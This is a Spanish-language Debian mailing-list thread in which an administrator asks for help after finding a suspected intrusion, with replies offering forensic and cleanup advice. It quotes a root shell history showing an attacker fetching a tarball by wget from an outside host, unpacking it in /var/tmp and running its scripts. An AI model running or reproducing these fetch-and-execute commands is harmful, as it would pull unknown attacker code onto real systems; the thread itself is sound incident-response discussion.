Re: Posible intrusión un server
Hola Juan Antonio.
El 12/06/11 14:27, Juan Antonio escribió:
El 13/05/11 17:39, ciracusa escribió:
Lista, buenas tardes.
Perdón si este tema no esta directamente relacionado con Debian, pero
como el server en cuestión tiene Squeeze y es un tema de seguridad creo
que puede interesarles a mas de uno.
Ayer viendo el history de root de un servidor veo lo siguiente:
^
|
|
|
Tocayo, parece que no leíste lo que dice arriba.
Si es un history de root pareciera obvio que los comandos fueron
emitidos por el usuario root.
314 ./go.sh 189
315 w
316 cd
317 cd /var/tmp/
318 rm -rf gosh
319 ls -a
320 exit
321 cat /proc/cpuinfo
322 passwd
323 cd /var/tmp/
324 cd gosh
325 touch bios.txt
326 chmod +x *
327 screen
328 exit
329 cat /proc/cpuinfo
330 cd /var/tmp/
331 ls -a
332 wget http://gblteam.webs.com/gosh.tgz.tar
333 tar zxvf gosh.tgz.tar
334 rm -rf gosh.tgz.tar
335 cd gosh
336 touch bios.txt
337 chmod +x *
338 ./go.sh 200
339 cd
340 cd /var/tmp/
341 ls -a
342 rm -rf gosh
343 ls -a
344 exit
345 cd /var/tmp/
346 perl x.pl
Que opinan?
Entiendo -lamentablemente- que el server fue comprometido, pero lo que
no llego a comprender es el alcance de esto.
Notar que puse el link para que puedan descargarlo uds. también y
analizarlo (tomando las precauciones del caso).
Bueno, si alguien tiene algo de info muy agradecido.
Y si pueden recomendarme algunos pasos para analizar la seguridad del
server desde ya muchas gracias.
Salu2.
El tipo trabaja en /var/tmp asi que probablemente sea porque no tiene
acceso como superusuario.
Tal vez trabajó en var temp porque **NO ES** el primer sitio donde
alguien comenzara a buscar; esto le dará tiempo para esconderse.
Haz un ls -l del archivo que subió y mira el
propietario, asi sabras que usuario es el que tienes comprometido. Y
como te han dicho revisa los log del sistema para ver como lo hicieron.
Por otra parte, te recomiendan que reinstales sin saber si quiera el
alcance de la intrusión, yo no lo haría hasta estar seguro que te la
hayan metido hasta el fondo.
Tu opinión es acertada, hay que averiguar hasta dónde llegaron; pero
creo haber leído varias respuestas que le recomiendan hacer una imagen
del sistema **para efectos forenses** y luego reinstalar.
Ciertamente ese es el enfoque correcto, hacer inoperante el servidor
comprometido (para el atacante) y luego **con tiempo** averiguar qué
pasó y cómo hacer para que no se repita.
Usa ps, lsof, netstat y demas para ver si
hay procesos anómalos ejecutándose y si no tienes tripwire usa lsattr
para buscar atributos que no deberían tener binarios del sistema como
ps, lsof, netstat, etc... suelen dejarlos como inmutables para que no
puedas sustituirlos.
Positivamente son herramientas excelentes; además se debe recordar que
si se deja el servidor activo, como tu sugieres, debe estar aislado de
la red interna y se deben resguardar los procesos vitales para la
organización.
Un saludo.
(+1) = 2
Reply to: